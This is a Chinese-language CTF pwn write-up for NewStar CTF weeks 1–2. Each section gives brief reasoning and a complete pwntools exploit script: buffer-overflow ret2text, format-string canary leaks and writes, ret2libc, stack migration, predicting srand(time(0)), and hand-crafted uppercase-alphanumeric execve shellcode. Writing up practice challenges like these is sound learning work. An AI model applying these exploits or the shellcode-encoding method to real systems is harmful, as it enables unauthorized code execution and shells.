# week1

# ret2text

ret2text

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
#e=ELF('./')
#p=process('./ret2text')
p=remote('node4.buuoj.cn',27637)
#gdb.attach(p, 'b ')
offset = 0x020+8
target = 0x04011FB
payload = b'a'*offset + p64(target)
p.send(payload)
p.interactive()

# newstar_shop

整数溢出

#!/usr/bin/python3
from pwn import *
#p=process('./newstar_shop')
p=remote('node4.buuoj.cn',25094)
context(os='linux',arch='amd64')
def inp(x):
    p.sendline(str(x).encode())
inp(1)
inp(1)
inp(1)
inp(1)
inp(1)
inp(1)
inp(3)
inp(1)
inp(3)
p.interactive()

# ezshellcode

shellcode x64

#!/usr/bin/python3
from pwn import *
#p=process('./ezshellcode')
p=remote('node4.buuoj.cn',25686)
context(os='linux',arch='amd64')
sh=asm(shellcraft.sh())
p.send(sh)
p.interactive()

# *Random

random ctypes
使用 ctypes 可以在 python 中使用 c 语言库函数。
c 语言的随机是伪随机,使用 srand 决定随机种子。而题目中使用 time(0) 获取当前时间作为随机种子。我们可以进行同样操作,以此生成完全一致的随机数。
image.png
v8 为第 1 个随机数。在输入与 v8 同样的数字后可进入 if 语句中。
v3 在取第 2 个随机数模 5 作为下标后,从字符串中获取字符。
v4 则是取第 3 个随机数模 2 作为下标取字符。
之后 sy 函数中 v4,v3 分别作为 1,2 个字符组成字符串作为 system 的参数。
原字符串中可以提出 '$''0' 组成 "$0" 。因此需要第 2 个随机数模 5 为 2,第 3 个随机数模 2 为 1。循环执行脚本,直到第 2、3 个随机数符合要求。

#!/usr/bin/python3
from pwn import *
from ctypes import *
context(log_level='debug')
e=cdll.LoadLibrary('libc.so.6')
#p=process('./pwn')
while 1:
    p=remote('node4.buuoj.cn',29429)
    #gdb.attach(p, 'b ')
    e.srand(e.time(0))
    payload = str(e.rand()).encode()
    
    if (e.rand()%5!=2) or (e.rand()%2!=1):
        p.close()
        continue
    p.recvuntil(b'number?\n')
    p.sendline(payload)
    p.interactive()
    p.close()

# p1eee

pie
程序保护启动了 pie,但没开启 canary。
栈溢出覆盖返回地址低位即可。
要修改的地址和原本地址很近,即后门函数为 0x1264,原返回地址为 0x1297,所以只需修改一个字节即可(其实也只够修改一个字节)。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
offset = 0x020+8
target = 0x6c
#p=process('./pwn')
p=remote('node4.buuoj.cn',28268)
#gdb.attach(p, 'b read')
payload = b'a'*offset + p8(target)
p.send(payload)
p.interactive()
p.close()

# week2

# canary

format string, canary
用 printf 漏洞泄露 canary,然后组成 payload。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
#p=process('./canary')
p=remote('node4.buuoj.cn',27529)
#gdb.attach(p, 'b ')
offset = 0x030-8
target = 0x401262
payload = b'%11$p\n'
p.recvuntil(b'gift?\n')
p.send(payload)
p.recvuntil(b'gift:\n')
canary = int(p.recvuntil(b'\n')[:-1],16)
payload = offset*b'a' + p64(canary) + p64(0xdeadbeef) + p64(target)
p.recvuntil(b'magic')
p.send(payload)
p.interactive()

# secret_number x2

format string
猜数字,利用 printf 将储存的 secret 变量修改为设定值,然后输入设定值完成 if 条件判断。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
#p=process('./secretnumber')
p=remote('node4.buuoj.cn',29618)
#gdb.attach(p, 'b printf')
offset = 0x0
target = 0x404C
payload = b'a'*offset 
p.sendline(b'1')
#p.send(b'%16$p\n')
#add1 = p.recvuntil
#add2 = add1 - 0xc0
payload = b'%17$p\n'
p.recvuntil(b'it\n')
p.send(payload)
p.recvuntil(b'gift:\n')
main_a = int(p.recvuntil(b'\n'),16)
target += main_a - 0x12f5
print('[+] the secret address is ', hex(target))
p.sendline(b'1')
#p.send(b'%16$p\n')
#add1 = p.recvuntil
#add2 = add1 - 0xc0
payload = b'aa%9$n'.ljust(8,b'a') + p64(target)
p.recvuntil(b'it\n')
p.send(payload)
p.recvuntil(b'gift?')
p.sendline(b'0')
p.recvuntil(b'number\n')
p.sendline(b'2')
p.interactive()
p.close()

想了想,用 week1 的 random 的思路应该也能做,而且更快。

#!/usr/bin/python3
from pwn import *
from ctypes import *
context(log_level='debug')
e=cdll.LoadLibrary('libc.so.6')
p=process('./secretnumber')
#p=remote('node4.buuoj.cn',29429)
#gdb.attach(p, 'b ')
e.srand(e.time(0))
payload = str(e.rand()).encode()
print(payload)
p.recvuntil(b'Give me some gift?')
p.sendline(b'0')
p.recvuntil(b'Guess the number')
p.sendline(payload)
p.interactive()
p.close()

# ret2libc

ret2libc3

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=remote('node4.buuoj.cn',25746)
#p=process('./ret2libc')
#gdb.attach(p,'b *0x0')
e = ELF('./ret2libc')
puts_p = e.plt['puts']
lsm_g = e.got['__libc_start_main']
puts_g = e.got['puts']
offset = 0x020 + 8
main_a = e.sym['main']
exit_a = main_a
prdi = 0x0400763
ret = 0x0400506
def ready():
    p.recvuntil(b'Show me your magic again\n')
    
ready()
payload = offset * b'a' + p64(prdi)  + p64(lsm_g) + p64(puts_p)+ p64(main_a)
p.sendline(payload)
p.recvuntil(b'\n')
lsm_a = u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print('the true address of __libc_start_main is %#x'%lsm_a)
#'''
libc = LibcSearcher('__libc_start_main',lsm_a)
libcbase = lsm_a - libc.dump('__libc_start_main')
sys_a = libcbase + libc.dump('system')
bs_a = libcbase + libc.dump('str_bin_sh')
'''
libc = ELF('./libc-2.23.so')
libcbase = lsm_a - libc.sym['__libc_start_main']
sys_a = libcbase + libc.sym['system']
bs_a = libcbase + next(libc.search(b'/bin/sh'))
'''
ready()
payload = offset * b'a' + p64(ret) + p64(prdi) + p64(bs_a) + p64(sys_a) + p64(exit_a)
p.sendline(payload)
p.interactive()
p.close()

# stack migration

栈迁移
经典题,溢出只能到返回地址。
这道题给了 buf 局部变量的地址,因此可以把栈迁移到 buf 的位置。在字符串开头构建 payload,后半部分放入 buf 地址和 leave_ret 地址。

#!/usr/bin/python3
from pwn import *
from LibcSearcher3 import LibcSearcher
context(log_level='debug')
p=remote('node4.buuoj.cn',25141)
#p=process('./pwn')
#gdb.attach(p,'b puts')
e = ELF('./pwn')
puts_p = e.plt['puts']
read_p = e.plt['read']
lsm_g = e.got['__libc_start_main']
puts_g = e.got['puts']
main_a = 0x4012be
prdi = 0x0401333
rsi_r15 = 0x401331
ret = 0x040101a
offset = 0x050
leave_ret = 0x4012aa
p.recvuntil(b'name:')
payload = b'/bin/sh\0'
p.send(payload)
p.recvuntil(b'gift for you: ')
buf = int(p.recvuntil(b'm')[:-1],16)
payload = p64(prdi)  + p64(lsm_g) + p64(puts_p)+ p64(main_a)
assert len(payload) <= offset
payload = payload.ljust(offset,b'a') + p64(buf) + p64(leave_ret)
p.recvuntil(b'plz:\n')
p.send(payload)
p.recvuntil(b'soon!\n')
lsm_a = u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print('the true address of __libc_start_main is %#x'%lsm_a)
#p.close()
'''
libc = LibcSearcher('__libc_start_main',lsm_a)
libcbase = lsm_a - libc.dump('__libc_start_main')
sys_a = libcbase + libc.dump('system')
bs_a = libcbase + libc.dump('str_bin_sh')
'''
libc = ELF('./libc.so.6')
libcbase = lsm_a - libc.sym['__libc_start_main']
sys_a = libcbase + libc.sym['system']
bs_a = libcbase + next(libc.search(b'/bin/sh'))
#'''
p.recvuntil(b'name:')
payload = b'/bin/sh\0'
p.send(payload)
p.recvuntil(b'gift for you: ')
buf = int(p.recvuntil(b'm')[:-1],16)
payload = p64(prdi) + p64(bs_a) + p64(sys_a) 
assert len(payload) <= offset
payload = payload.ljust(offset,b'a') + p64(buf) + p64(leave_ret)
p.send(payload)
p.interactive()
p.close()

# **shellcode_revenge

alphanumeric shellcode x64 uppercase
这道题是仅包含大小写和数字类型的 shellcode。仅仅利用这些范围里的机器码构建 shellcode。
大家的解法都是用工具。大致有一下三种。

  • ae64: 用于 x64,需大小写及数字
  • alpha3, x64 模式 需大小写及数字 x86 可选择仅小写和数字 或 大写和数字
  • metasploit 中的 msfvenom, 同 alpha3

但是这题是 64 位题,并且只能用大写和数字编写 shellcode,因此以上工具均用不了,只能自己编写 shellcode。(也或者单纯我没找到这种工具)
构造 shellcode 大部分情况就是构造 execve("/bin/sh",0,0); 这一系统调用,因此以下数据必不可少。

“/bin”->rdi “/sh\0” syscall 机器码 execve 调用号 - rax rsi rdx
编码 \x2f\x62\x69\x6e \x2f\x7c\x68\x00 \x0f\x05 \x3b 0 0
16 进制 0x6e69622f 0x68732f 0x50f 0x3b 0 0
xor 31 30 30 36 31 30 30 5a 41 30 39
xor 48 52 59 58 48 53 58 5a 4e 35 32
41 41 30

数字的 ascii 码范围是 0x30~0x39 ,大写字母的 ascii 码范围是 0x41~0x5a

上述数据所对应的字符都不属于大写字母和数字,因此无法直接构建 shellcode。所以可以利用数字范围的部分 xor,以两个数字异或得到想要的数据。其中部分数据需要 3 个数才能异或获得。如 '/' ,不过因为其恰好位于低位,用 xor al, 41; 可以不影响其他位。
其次 push 立即数的机器码属于小写字母,所以还是只能通过异或寄存器再 push 寄存器的方式往栈上放入数据。在异或前需先将寄存器清零。这里用将寄存器的值 push 到栈上,寄存器再与栈顶数据异或的方式清零。

push rdi;
push rsp;
pop rcx;
xor rdi, QWORD PTR [rcx];

rdx 和 在刚开始执行 shellcode 时放入了 shellcode 的地址。可以利用其往 shellcode 写入数据,这样就能够异或出 syscall 的机器码接在其他 shellcode 之后。而刚开始我想把 "/bin/sh\0" 放在栈上,但由于 xor 好像只支持 32 位数据,而寄存器以及 pop 入栈的数据都是 64 位,所以放入栈上的两段字符串无法连接,因此我也将字符串放在了 shellcode 的最后。

P 0x50 push %rax
Q 0x51 push %rcx
R 0x52 push %rdx
S 0x53 push %rbx
T 0x54 push %rsp
U 0x55 push %rbp
V 0x56 push %rsi
W 0x57 push %rdi
X 0x58 pop %rax
Y 0x59 pop %rcx
Z 0x5a pop %rdx

可以利用的 pushpop 仅有上面几种,所以数据操作大部分以 rax``rcx 为中介。利用 xor DWORD PTR [rdx+0x58], eax 及变形对 shellcode 的数据进行操作。

#!/usr/bin/python
from pwn import *
context(arch='amd64')
context(log_level='debug')
#e=ELF('./shellcodere')
#p=process('./shellcodere')
p=remote('node4.buuoj.cn',26414)
#gdb.attach(p, 'b *0x40136E')
assem = '''
push rdi;
push rsp;
pop rcx;
xor rdi, QWORD PTR [rcx];
push rsi;
push rsp;
pop rcx;
xor esi, DWORD PTR [rcx]
push rsi;
pop rax;	
xor eax, 0x5a5a354e
xor DWORD PTR [rdx+0x4c], eax
push rsi;
pop rax;
xor eax, 0x5a303031;
xor eax, 0x5a58434f;
xor al, 0x51;
xor DWORD PTR [rdx+0x58], eax
push rax;
push rsi;
pop rax;
xor eax, 0x36303031;
xor eax, 0x5859524f;
xor al, 0x51;
xor DWORD PTR [rdx+0x54], eax
push rdx;
pop rax;
xor al, 0x54;
push rax;
push rsp;
pop rcx;
xor rdi, QWORD PTR [rcx];
push rsi;
pop rdx;
push rdx;
pop rax;
xor al, 0x39
xor al, 0x32
xor al, 0x30
'''
shellcode = asm(assem)
print(shellcode)
print(disasm(shellcode))
print(len(shellcode))
p.recvuntil(b'magic')
p.sendline(shellcode+p32(0x5a5a3041))
p.interactive()

Alphanumeric opcode
这是那篇怎么搜都出现两三遍的文章
https://nets.ec/Alphanumeric_shellcode
https://www.anquanke.com/post/id/85871